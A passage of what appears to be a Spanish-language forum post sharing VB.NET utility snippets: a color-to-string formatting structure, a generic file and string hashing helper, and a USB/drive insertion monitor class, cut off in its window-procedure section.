''' Console.WriteLine(String.Format("Web Format (Standard) : {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.Standard)))
''' Console.WriteLine(String.Format("Web Format (CSharp) : {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.CSharp)))
''' Console.WriteLine(String.Format("Web Format (VbNet) : {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.VbNet)))
''' Console.WriteLine(String.Format("Web Format (VisualStudio): {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
<Serializable>
<StructLayout(LayoutKind.Sequential)>
Public Structure ColorString
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the <see cref="Color"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="Color"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Color As Color
<DebuggerStepThrough>
Get
Return Me.colorB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing field )
''' The <see cref="Color"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly colorB As Color
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the numeric color-string representation for this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The numeric color-string representation.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Numeric(ByVal colorStringSyntax As ColorStringSyntax) As String
<DebuggerStepThrough>
Get
Return Me.GetNumericString(colorStringSyntax)
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Hexadecimal color-string representation for this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The Hexadecimal color-string representation.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Hexadecimal(ByVal colorStringSyntax As ColorStringSyntax) As String
<DebuggerStepThrough>
Get
Return Me.GetHexadecimalString(colorStringSyntax)
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Web color-string representation for this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The Web color-string representation.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Web(ByVal colorStringSyntax As ColorStringSyntax) As String
<DebuggerStepThrough>
Get
Return Me.GetWebString(colorStringSyntax)
End Get
End Property
#End Region
#Region " Enumerations "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a string syntax to represent a color value.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum ColorStringSyntax As Integer
''' <summary>
''' Standard syntax.
''' </summary>
Standard = 0
''' <summary>
''' C# language syntax.
''' </summary>
CSharp = 1
''' <summary>
''' Visual Basic.Net language syntax.
''' </summary>
VbNet = 2
''' <summary>
''' VisualStudio IDE's property grid syntax.
''' </summary>
VisualStudioPropertyGrid = 3
End Enum
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ColorString"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="color">
''' The source <see cref="Color"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal color As Color)
Me.colorB = color
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ColorString"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="brush">
''' The source <see cref="SolidBrush"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal brush As SolidBrush)
Me.colorB = brush.Color
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ColorString"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="pen">
''' The source <see cref="Pen"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal pen As Pen)
Me.colorB = pen.Color
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the numeric string representation of a <see cref="Color"/>, in the specified <see cref="ColorStringSyntax"/> syntax.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="syntax">
''' The color-string syntax.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The numeric string representation.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidEnumArgumentException">
''' syntax
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Function GetNumericString(ByVal syntax As ColorStringSyntax) As String
Dim byteString As String =
String.Format("{0}, {1}, {2}, {3}",
Convert.ToString(Me.colorB.A),
Convert.ToString(Me.colorB.R),
Convert.ToString(Me.colorB.G),
Convert.ToString(Me.colorB.B))
Select Case syntax
Case ColorString.ColorStringSyntax.Standard
Return byteString
Case ColorString.ColorStringSyntax.CSharp
Return String.Format("Color.FromArgb({0});", byteString)
Case ColorString.ColorStringSyntax.VbNet
Return String.Format("Color.FromArgb({0})", byteString)
Case ColorString.ColorStringSyntax.VisualStudioPropertyGrid
Return byteString.Replace(",", ";")
Case Else
Throw New InvalidEnumArgumentException("syntax", syntax, GetType(ColorStringSyntax))
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the numeric string representation of a <see cref="Color"/>, in the specified <see cref="ColorStringSyntax"/> syntax.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="syntax">
''' The color-string syntax.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The numeric string representation.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidEnumArgumentException">
''' syntax
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Function GetHexadecimalString(ByVal syntax As ColorStringSyntax) As String
Dim a As String = Convert.ToString(Me.colorB.A, 16).ToUpper
Dim r As String = Convert.ToString(Me.colorB.R, 16).ToUpper
Dim g As String = Convert.ToString(Me.colorB.G, 16).ToUpper
Dim b As String = Convert.ToString(Me.colorB.B, 16).ToUpper
Select Case syntax
Case ColorString.ColorStringSyntax.Standard
Return String.Format("{0}{1}{2}{3}", a, r, g, b)
Case ColorString.ColorStringSyntax.CSharp
Return String.Format("Color.FromArgb(0x{0}, 0x{1}, 0x{2}, 0x{3});", a, r, g, b)
Case ColorString.ColorStringSyntax.VbNet
Return String.Format("Color.FromArgb(&H{0}, &H{1}, &H{2}, &H{3})", a, r, g, b)
Case ColorString.ColorStringSyntax.VisualStudioPropertyGrid
Return String.Format("0x{0}{1}{2}{3}", a, r, g, b)
Case Else
Throw New InvalidEnumArgumentException("syntax", syntax, GetType(ColorStringSyntax))
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Web string representation of a <see cref="Color"/>, in the specified <see cref="ColorStringSyntax"/> syntax.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="syntax">
''' The color-string syntax.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The Web string representation.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidEnumArgumentException">
''' syntax
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Function GetWebString(ByVal syntax As ColorStringSyntax) As String
Dim htmlString As String = ColorTranslator.ToHtml(Color)
Select Case syntax
Case ColorString.ColorStringSyntax.Standard
Return htmlString
Case ColorString.ColorStringSyntax.CSharp
Return String.Format("ColorTranslator.FromHtml(""{0}"");", htmlString)
Case ColorString.ColorStringSyntax.VbNet
Return String.Format("ColorTranslator.FromHtml(""{0}"")", htmlString)
Case ColorString.ColorStringSyntax.VisualStudioPropertyGrid
Return htmlString
Case Else
Throw New InvalidEnumArgumentException("syntax", syntax, GetType(ColorStringSyntax))
End Select
End Function
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs an implicit conversion from <see cref="ColorString"/> to <see cref="Color"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="colorString">
''' The <see cref="ColorString"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Color"/> of the conversion.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Widening Operator CType(ByVal colorString As ColorString) As Color
Return Drawing.Color.FromArgb(colorString.Color.R, colorString.Color.G, colorString.Color.B)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs an implicit conversion from <see cref="Color"/> to <see cref="ColorString"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="color">
''' The <see cref="Color"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="ColorString"/> of the conversion.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Narrowing Operator CType(ByVal color As Color) As ColorString
Return New ColorString(color)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Implements the operator =.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="colorString1">
''' The first <see cref="ColorString"/> to evaluate.
''' </param>
'''
''' <param name="colorString2">
''' The second <see cref="ColorString"/> to evaluate.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The result of the operator.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Operator =(ByVal colorString1 As ColorString,
ByVal colorString2 As ColorString) As Boolean
Return colorString1.Equals(colorString2)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Implements the operator <>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="colorString1">
''' The first <see cref="ColorString"/> to evaluate.
''' </param>
'''
''' <param name="colorString2">
''' The second <see cref="ColorString"/> to evaluate.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The result of the operator.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Operator <>(ByVal colorString1 As ColorString,
ByVal colorString2 As ColorString) As Boolean
Return Not colorString1.Equals(colorString2)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the specified <see cref="System.Object"/> is equal to this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="obj">
''' Another object to compare to.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the specified <see cref="System.Object"/> is equal to this instance; otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Overrides Function Equals(ByVal obj As Object) As Boolean
If (TypeOf obj Is ColorString) Then
Return Me.Equals(DirectCast(obj, ColorString))
ElseIf (TypeOf obj Is Color) Then
Return Me.Equals(New ColorString(DirectCast(obj, Color)))
Else
Return False
End If
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the specified <see cref="ColorString"/> is equal to this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="colorString">
''' Another <see cref="ColorString"/> to compare to.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the specified <see cref="ColorString"/> is equal to this instance; otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Overloads Function Equals(ByVal colorString As ColorString) As Boolean
Return (colorString.Color.ToArgb = Me.colorB.ToArgb)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a hash code for this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Overrides Function GetHashCode() As Integer
Return Me.colorB.GetHashCode()
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a <see cref="System.String"/> that represents this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="System.String"/> that represents this instance.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Overrides Function ToString() As String
Return String.Format(CultureInfo.CurrentCulture, "{{A={0}, R={1}, G={2}, B={3}}}",
Me.colorB.A, Me.colorB.R, Me.colorB.G, Me.colorB.B)
End Function
#End Region
End Structure
He ideado esta sencilla y genérica manera de reunir en una misma función la posibilidad de utilizar varios algoritmos para computar el hash de un archivo o de un string.
Ejemplo de uso:
Dim md5 As String = CryptoUtil.ComputeHashOfString(Of MD5CryptoServiceProvider)("Hello World!")
Dim sha1 As String = CryptoUtil.ComputeHashOfString(Of SHA1CryptoServiceProvider)("Hello World!")
Dim sha256 As String = CryptoUtil.ComputeHashOfString(Of SHA256CryptoServiceProvider)("Hello World!")
Dim sha384 As String = CryptoUtil.ComputeHashOfString(Of SHA384CryptoServiceProvider)("Hello World!")
Dim sha512 As String = CryptoUtil.ComputeHashOfString(Of SHA512CryptoServiceProvider)("Hello World!")
Dim md5 As String = CryptoUtil.ComputeHashOfFile(Of MD5CryptoServiceProvider)("C:\File.ext")
Dim sha1 As String = CryptoUtil.ComputeHashOfFile(Of SHA1CryptoServiceProvider)("C:\File.ext")
Dim sha256 As String = CryptoUtil.ComputeHashOfFile(Of SHA256CryptoServiceProvider)("C:\File.ext")
Dim sha384 As String = CryptoUtil.ComputeHashOfFile(Of SHA384CryptoServiceProvider)("C:\File.ext")
Dim sha512 As String = CryptoUtil.ComputeHashOfFile(Of SHA512CryptoServiceProvider)("C:\File.ext")
Código fuente:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Computes the hash, using the given hash algorithm, for the specified string.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim md5 As String = CryptoUtil.ComputeHashOfString(Of MD5CryptoServiceProvider)("Hello World!")
''' Dim sha1 As String = CryptoUtil.ComputeHashOfString(Of SHA1CryptoServiceProvider)("Hello World!")
''' Dim sha256 As String = CryptoUtil.ComputeHashOfString(Of SHA256CryptoServiceProvider)("Hello World!")
''' Dim sha384 As String = CryptoUtil.ComputeHashOfString(Of SHA384CryptoServiceProvider)("Hello World!")
''' Dim sha512 As String = CryptoUtil.ComputeHashOfString(Of SHA512CryptoServiceProvider)("Hello World!")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' The <see cref="HashAlgorithm"/> provider.
''' </typeparam>
'''
''' <param name="str">
''' The string.
''' </param>
'''
''' <param name="enc">
''' The text <see cref="Encoding"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An Hexadecimal representation of the resulting hash value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Function ComputeHashOfString(Of T As HashAlgorithm)(ByVal str As String,
Optional ByVal enc As Encoding = Nothing) As String
If (enc Is Nothing) Then
enc = Encoding.Default
End If
Using algorithm As HashAlgorithm = DirectCast(Activator.CreateInstance(GetType(T)), HashAlgorithm)
Dim data As Byte() = enc.GetBytes(str)
Dim hash As Byte() = algorithm.ComputeHash(data)
Dim sb As New StringBuilder(capacity:=hash.Length * 2)
For Each b As Byte In hash
sb.Append(b.ToString("X2"))
Next
Return sb.ToString
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Computes the hash, using the given hash algorithm, for the specified file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim md5 As String = CryptoUtil.ComputeHashOfFile(Of MD5CryptoServiceProvider)("C:\File.ext")
''' Dim sha1 As String = CryptoUtil.ComputeHashOfFile(Of SHA1CryptoServiceProvider)("C:\File.ext")
''' Dim sha256 As String = CryptoUtil.ComputeHashOfFile(Of SHA256CryptoServiceProvider)("C:\File.ext")
''' Dim sha384 As String = CryptoUtil.ComputeHashOfFile(Of SHA384CryptoServiceProvider)("C:\File.ext")
''' Dim sha512 As String = CryptoUtil.ComputeHashOfFile(Of SHA512CryptoServiceProvider)("C:\File.ext")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' The <see cref="HashAlgorithm"/> provider.
''' </typeparam>
'''
''' <param name="filepath">
''' The filepath.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An Hexadecimal representation of the resulting hash value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Function ComputeHashOfFile(Of T As HashAlgorithm)(ByVal filepath As String) As String
Using fs As New FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.Read)
Using algorithm As HashAlgorithm = DirectCast(Activator.CreateInstance(GetType(T)), HashAlgorithm)
Dim hash As Byte() = algorithm.ComputeHash(fs)
Dim sb As New StringBuilder(capacity:=hash.Length * 2)
For Each b As Byte In hash
sb.Append(b.ToString("X2"))
Next b
Return sb.ToString
End Using
End Using
End Function
Un snippet para monitorizar la inserción y extracción de dispositivos de almacenamiento (USB, discos duros, etc).
Ejemplo de uso:
Friend WithEvents DriveMon As New DriveWatcher
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="DriveWatcher.DriveStatusChanged"/> event of the <see cref="DriveMon"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="DriveWatcher.DriveStatusChangedEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Private Sub DriveMon_DriveStatusChanged(ByVal sender As Object, ByVal e As DriveWatcher.DriveStatusChangedEventArgs) _
Handles DriveMon.DriveStatusChanged
Select Case e.DeviceEvent
Case DriveWatcher.DeviceEvents.Arrival
Dim sb As New StringBuilder
sb.AppendLine("New drive connected...'")
sb.AppendLine(String.Format("Type......: {0}", e.DriveInfo.DriveType.ToString))
sb.AppendLine(String.Format("Label.....: {0}", e.DriveInfo.VolumeLabel))
sb.AppendLine(String.Format("Name......: {0}", e.DriveInfo.Name))
sb.AppendLine(String.Format("Root......: {0}", e.DriveInfo.RootDirectory))
sb.AppendLine(String.Format("FileSystem: {0}", e.DriveInfo.DriveFormat))
sb.AppendLine(String.Format("Size......: {0} GB", (e.DriveInfo.TotalSize / (1024 ^ 3)).ToString("n1")))
sb.AppendLine(String.Format("Free space: {0} GB", (e.DriveInfo.AvailableFreeSpace / (1024 ^ 3)).ToString("n1")))
Console.WriteLine(sb.ToString)
Case DriveWatcher.DeviceEvents.RemoveComplete
Dim sb As New StringBuilder
sb.AppendLine("Drive disconnected...'")
sb.AppendLine(String.Format("Name: {0}", e.DriveInfo.Name))
sb.AppendLine(String.Format("Root: {0}", e.DriveInfo.RootDirectory))
Console.WriteLine(sb.ToString)
End Select
End Sub
Private Sub StartMon_Click(ByVal sender As Object, ByVal e As EventArgs) _
Handles Button_StartMon.Click
Me.DriveMon.Start()
End Sub
Private Sub StopMon_Click(ByVal sender As Object, ByVal e As EventArgs) _
Handles Button_StopMon.Click
Me.DriveMon.Stop()
End Sub
Código fuente:
' ***********************************************************************
' Author : Elektro
' Modified : 11-November-2015
' ***********************************************************************
' <copyright file="DriveWatcher.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A device insertion and removal monitor.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Class DriveWatcher : Inherits NativeWindow : Implements IDisposable
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the connected drives on this computer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Drives As IEnumerable(Of DriveInfo)
<DebuggerStepThrough>
Get
Return DriveInfo.GetDrives
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that determines whether the monitor is running.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property IsRunning As Boolean
<DebuggerStepThrough>
Get
Return Me.isRunningB
End Get
End Property
Private isRunningB As Boolean
#End Region
#Region " Events "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A list of event delegates.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly events As EventHandlerList
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Occurs when a drive is inserted, removed, or changed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Custom Event DriveStatusChanged As EventHandler(Of DriveStatusChangedEventArgs)
<DebuggerNonUserCode>
<DebuggerStepThrough>
AddHandler(ByVal value As EventHandler(Of DriveStatusChangedEventArgs))
Me.events.AddHandler("DriveStatusChangedEvent", value)
End AddHandler
<DebuggerNonUserCode>
<DebuggerStepThrough>
RemoveHandler(ByVal value As EventHandler(Of DriveStatusChangedEventArgs))
Me.events.RemoveHandler("DriveStatusChangedEvent", value)
End RemoveHandler
<DebuggerNonUserCode>
<DebuggerStepThrough>
RaiseEvent(ByVal sender As Object, ByVal e As DriveStatusChangedEventArgs)
Dim handler As EventHandler(Of DriveStatusChangedEventArgs) =
DirectCast(Me.events("DriveStatusChangedEvent"), EventHandler(Of DriveStatusChangedEventArgs))
If (handler IsNot Nothing) Then
handler.Invoke(sender, e)
End If
End RaiseEvent
End Event
#End Region
#Region " Events Data "
#Region " DriveStatusChangedEventArgs "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains the event-data of a <see cref="DriveStatusChanged"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class DriveStatusChangedEventArgs : Inherits EventArgs
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the device event that occurred.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The drive info.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property DeviceEvent As DeviceEvents
<DebuggerStepThrough>
Get
Return Me.deviceEventsB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing field )
''' The device event that occurred.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly deviceEventsB As DeviceEvents
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the drive info.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The drive info.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property DriveInfo As DriveInfo
<DebuggerStepThrough>
Get
Return Me.driveInfoB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing field )
''' The drive info.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly driveInfoB As DriveInfo
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="DriveStatusChangedEventArgs"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="DriveStatusChangedEventArgs"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="driveInfo">
''' The drive info.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal deviceEvent As DeviceEvents, ByVal driveInfo As DriveInfo)
Me.deviceEventsB = deviceEvent
Me.driveInfoB = driveInfo
End Sub
#End Region
End Class
#End Region
#End Region
#Region " Event Invocators "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Raises <see cref="DriveStatusChanged"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="e">
''' The <see cref="DriveStatusChangedEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overridable Sub OnDriveStatusChanged(ByVal e As DriveStatusChangedEventArgs)
RaiseEvent DriveStatusChanged(Me, e)
End Sub
#End Region
#Region " Enumerations "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a change to the hardware configuration of a device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363480%28v=vs.85%29.aspx"/>
''' <para></para>
''' <see href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363232%28v=vs.85%29.aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
Public Enum DeviceEvents As Integer
' *****************************************************************************
' WARNING!, NEED TO KNOW...
'
' THIS ENUMERATION IS PARTIALLY DEFINED TO MEET THE PURPOSES OF THIS PROJECT
' *****************************************************************************
''' <summary>
''' The current configuration has changed, due to a dock or undock.
''' </summary>
Change = &H219
''' <summary>
''' A device or piece of media has been inserted and becomes available.
''' </summary>
Arrival = &H8000
''' <summary>
''' Request permission to remove a device or piece of media.
''' <para></para>
''' This message is the last chance for applications and drivers to prepare for this removal.
''' However, any application can deny this request and cancel the operation.
''' </summary>
QueryRemove = &H8001
''' <summary>
''' A request to remove a device or piece of media has been canceled.
''' </summary>
QueryRemoveFailed = &H8002
''' <summary>
''' A device or piece of media is being removed and is no longer available for use.
''' </summary>
RemovePending = &H8003
''' <summary>
''' A device or piece of media has been removed.
''' </summary>
RemoveComplete = &H8004
End Enum
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a computer device type.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363246%28v=vs.85%29.aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
Private Enum DeviceType As Integer
' *****************************************************************************
' WARNING!, NEED TO KNOW...
'
' THIS ENUMERATION IS PARTIALLY DEFINED TO MEET THE PURPOSES OF THIS PROJECT
' *****************************************************************************
''' <summary>
''' Logical volume.
''' </summary>
Logical = &H2
End Enum
#End Region
#Region " Types "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains information about a logical volume.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363249%28v=vs.85%29.aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<StructLayout(LayoutKind.Sequential)>
Private Structure DevBroadcastVolume
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The size of this structure, in bytes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Size As UInteger
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Set to DBT_DEVTYP_VOLUME (2).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Type As UInteger
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Reserved parameter; do not use this.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Reserved As UInteger
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The logical unit mask identifying one or more logical units.
''' Each bit in the mask corresponds to one logical drive.
''' Bit 0 represents drive A, bit 1 represents drive B, and so on.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Mask As UInteger
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' This parameter can be one of the following values:
''' '0x0001': Change affects media in drive. If not set, change affects physical device or drive.
''' '0x0002': Indicated logical volume is a network volume.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Flags As UShort
End Structure
#End Region
#Region " Constructor "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of <see cref="DriveWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New()
Me.events = New EventHandlerList
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Starts monitoring.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' Monitor is already running.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Start()
If (Me.Handle = IntPtr.Zero) Then
MyBase.CreateHandle(New CreateParams)
Me.isRunningB = True
Else
Throw New Exception(message:="Monitor is already running.")
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Stops monitoring.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' Monitor is already stopped.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub [Stop]()
If (Me.Handle <> IntPtr.Zero) Then
MyBase.DestroyHandle()
Me.isRunningB = False
Else
Throw New Exception(message:="Monitor is already stopped.")
End If
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the drive letter stored in a <see cref="DevBroadcastVolume"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="Device">
''' The <see cref="DevBroadcastVolume"/> structure containing the device mask.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The drive letter.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Function GetDriveLetter(ByVal device As DevBroadcastVolume) As Char
Dim driveLetters As Char() = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray
Dim deviceID As New BitArray(BitConverter.GetBytes(device.Mask))
For i As Integer = 0 To deviceID.Length
If deviceID(i) Then
Return driveLetters(i)
End If
Next i
Return Nothing
End Function
#End Region
#Region " Window Procedure (WndProc) "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
